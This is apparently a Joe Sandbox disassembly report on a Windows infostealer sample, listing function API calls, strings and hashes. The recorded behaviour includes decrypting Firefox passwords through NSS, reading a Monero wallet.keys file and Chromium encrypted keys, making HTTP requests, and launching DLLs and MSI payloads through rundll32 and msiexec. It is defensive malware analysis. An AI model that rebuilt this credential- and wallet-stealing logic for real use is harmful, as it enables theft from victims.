Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B1C7D0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00B1C7E5

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0074D268,00000000,?,00B313F0,00000000,?,?), ref: 00B1C8AC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00B1C8C9
GetFileSize.KERNEL32(00000000,00000000), ref: 00B1C8D5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B1C8E8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00B1C919
StrStrA.SHLWAPI(?,0074D1F0,00B30B37), ref: 00B1C937
StrStrA.SHLWAPI(00000000,0074D2B0), ref: 00B1C95E
StrStrA.SHLWAPI(?,0074D610,00000000,?,00B313FC,00000000,?,00000000,00000000,?,00748E90,00000000,?,00B313F8,00000000,?), ref: 00B1CAE2
StrStrA.SHLWAPI(00000000,0074D5F0), ref: 00B1CAF9

Part of subcall function 00B1C660: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B1C6B1
Part of subcall function 00B1C660: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B1C6BC
Part of subcall function 00B1C660: PK11_GetInternalKeySlot.NSS3 ref: 00B1C6CA
Part of subcall function 00B1C660: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B1C6E5
Part of subcall function 00B1C660: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B1C72B
Part of subcall function 00B1C660: PK11_FreeSlot.NSS3(?), ref: 00B1C7A1

StrStrA.SHLWAPI(?,0074D5F0,00000000,?,00B31400,00000000,?,00000000,00748EC0), ref: 00B1CB9A
StrStrA.SHLWAPI(00000000,00748D70), ref: 00B1CBB1

Part of subcall function 00B1C660: lstrcat.KERNEL32(?,00B30B2E), ref: 00B1C783
Part of subcall function 00B1C660: lstrcat.KERNEL32(?,00B30B2F), ref: 00B1C797
Part of subcall function 00B1C660: lstrcat.KERNEL32(?,00B30B33), ref: 00B1C7B8

lstrlen.KERNEL32(00000000), ref: 00B1CC84
CloseHandle.KERNEL32(00000000), ref: 00B1CCDC
NSS_Shutdown.NSS3 ref: 00B1CCEA

Strings

, xrefs: 00B1C806

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 75eb49f7cf6ed913ec7704e532bddf54047ed7379d7401693673ae2d65b6ab6b
Instruction ID: ce70a27908567da24f9aedf1c9013780305115f9ce9899a03b09bcd0eb2ebcf2
Opcode Fuzzy Hash: 75eb49f7cf6ed913ec7704e532bddf54047ed7379d7401693673ae2d65b6ab6b
Instruction Fuzzy Hash: 8DE11F71910118AFCB14EBA4EC92FEEB7B8AF55300F004199F50AB7191EF746A49CFA5

Function 00B20DE0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 310COMMON

Download Yara Rule

Strings

0t, xrefs: 00B20FE1
t, xrefs: 00B210FF
ht, xrefs: 00B20F99
Ht, xrefs: 00B20F51

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: t$0t$Ht$ht
API String ID: 2001356338-43772009
Opcode ID: 8669d1a5687b5164f2b851f0677b258de6db1c4ae65ddfa09e9522ec3917e84b
Instruction ID: f2851f2b52f9b10b4d3c4a44fe2de6918bf57845f9f8a474f5bb0f9824e0bb2c
Opcode Fuzzy Hash: 8669d1a5687b5164f2b851f0677b258de6db1c4ae65ddfa09e9522ec3917e84b
Instruction Fuzzy Hash: 03C186B59012299BCB14EF60EC99FDA77B8BF64304F0045D8F50DA7241EA70EA95CFA1

Function 00B23D90 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 195stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

lstrcat.KERNEL32(?,00000000), ref: 00B23DFC
lstrcat.KERNEL32(?,0074E260), ref: 00B23E1B
lstrcat.KERNEL32(?,?), ref: 00B23E2F
lstrcat.KERNEL32(?,0074D250), ref: 00B23E43

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B28830: GetFileAttributesA.KERNEL32(00000000,?,00B11B94,?,?,00B3554C,?,?,00B30E07), ref: 00B2883F

Part of subcall function 00B19D30: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B19D89

Part of subcall function 00B19A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
Part of subcall function 00B19A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
Part of subcall function 00B19A10: LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
Part of subcall function 00B19A10: ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
Part of subcall function 00B19A10: LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
Part of subcall function 00B19A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

Part of subcall function 00B28E60: GlobalAlloc.KERNEL32(00000000,00B23EED,00B23EED), ref: 00B28E73

StrStrA.SHLWAPI(?,0074E1E8), ref: 00B23F03
GlobalFree.KERNEL32(?), ref: 00B23FFF

Part of subcall function 00B19B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B3F
Part of subcall function 00B19B10: LocalAlloc.KERNEL32(00000040,?,?,?,00B14F3E,00000000,?), ref: 00B19B51
Part of subcall function 00B19B10: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B14F3E,00000000,00000000), ref: 00B19B7A
Part of subcall function 00B19B10: LocalFree.KERNEL32(?,?,?,?,00B14F3E,00000000,?), ref: 00B19B8F

Part of subcall function 00B19E60: LocalAlloc.KERNEL32(00000040,?), ref: 00B19EFE

lstrcat.KERNEL32(?,00000000), ref: 00B23F90
StrCmpCA.SHLWAPI(?,00B3089B,?,?,?,?,000003E8), ref: 00B23FAD
lstrcat.KERNEL32(00000000,00000000), ref: 00B23FBF
lstrcat.KERNEL32(00000000,?), ref: 00B23FD2
lstrcat.KERNEL32(00000000,00B30F88), ref: 00B23FE1

Strings

t, xrefs: 00B23EF6
`t, xrefs: 00B23E0D

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$Local$AllocFile$Free$BinaryCryptGlobalString$AttributesChangeCloseCreateFindFolderNotificationPathReadSizelstrcpy
String ID: `t$t
API String ID: 1899081627-3970974356
Opcode ID: 47acf4e1088fd8cf9fa7a201f4adf4e053adf36930e60e73ffd3f13995bb287a
Instruction ID: 4dad639775817810dd457ebf152eaf7e7b4dbe51c6ad0026587e74b66cc9ca7c
Opcode Fuzzy Hash: 47acf4e1088fd8cf9fa7a201f4adf4e053adf36930e60e73ffd3f13995bb287a
Instruction Fuzzy Hash: 597148B6D10218ABCB14EBA4EC96FDE77B9AF48700F4045D8F609A7181EA74DB44CF61

Function 00B212B0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00B212D5
ExitProcess.KERNEL32 ref: 00B212E1

Strings

block, xrefs: 00B212C7

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 3c91586044fc7a9950f73ed57aa83b3a838a81344a9318d0daba147e39033baf
Instruction ID: ee965bfb960c801d064a6d4f1433f500f6d5342141cd03bc90f8cdfb915b5092
Opcode Fuzzy Hash: 3c91586044fc7a9950f73ed57aa83b3a838a81344a9318d0daba147e39033baf
Instruction Fuzzy Hash: CA519174A00219EFCB04EFA8E994AEE37F5AF54704F208498E82DA7350D770E951DF61

Function 00B22940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

ShellExecuteEx.SHELL32(0000003C), ref: 00B22CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00B22E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00B22FFA

Strings

<, xrefs: 00B22FA0
"" , xrefs: 00B22BAA
C:\Windows\system32\rundll32.exe, xrefs: 00B22E42
.msi, xrefs: 00B22EA8
/passive, xrefs: 00B22F6B
C:\Windows\system32\msiexec.exe, xrefs: 00B22FCF
/i ", xrefs: 00B22EF4
.dll, xrefs: 00B22CF5

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: ce87d492a045c2dfb508194b64ea636c9a1035b9729197e960a23eedd5dc34f3
Instruction ID: 92ce223700970f71e5cbc7796e9f01ddafb72492172c18005f534e9274ccb701
Opcode Fuzzy Hash: ce87d492a045c2dfb508194b64ea636c9a1035b9729197e960a23eedd5dc34f3
Instruction Fuzzy Hash: F812EB718101289BCB19FBA0EC92FDEB7B8AF14300F504599F50A76191EF746B49CFA6

Function 00B28AB0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00B28BD6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: 2979a9539333405f37f0f5a3367d902c78d5ee6a30435e9269157af048a33ee7
Instruction ID: ab02853197684b65f4d67c46706c6eb497ca081753cc8e2d5a69227b31479c90
Opcode Fuzzy Hash: 2979a9539333405f37f0f5a3367d902c78d5ee6a30435e9269157af048a33ee7
Instruction Fuzzy Hash: 0871EBB1911208ABDB04DFE4EC89FEEB7B9BF48700F108548F519E7290DB74A945CB60

Function 00B24DA0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B162D0: InternetOpenA.WININET(00B30DE6,00000001,00000000,00000000,00000000), ref: 00B16331
Part of subcall function 00B162D0: StrCmpCA.SHLWAPI(?,0074E6F0), ref: 00B16353
Part of subcall function 00B162D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B16385
Part of subcall function 00B162D0: HttpOpenRequestA.WININET(00000000,GET,?,0074DCC0,00000000,00000000,00400100,00000000), ref: 00B163D5
Part of subcall function 00B162D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B1640F
Part of subcall function 00B162D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B16421

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B24DF8
lstrlen.KERNEL32(00000000), ref: 00B24E0F

Part of subcall function 00B288D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

StrStrA.SHLWAPI(00000000,00000000), ref: 00B24E44
lstrlen.KERNEL32(00000000), ref: 00B24E63
lstrlen.KERNEL32(00000000), ref: 00B24E8E

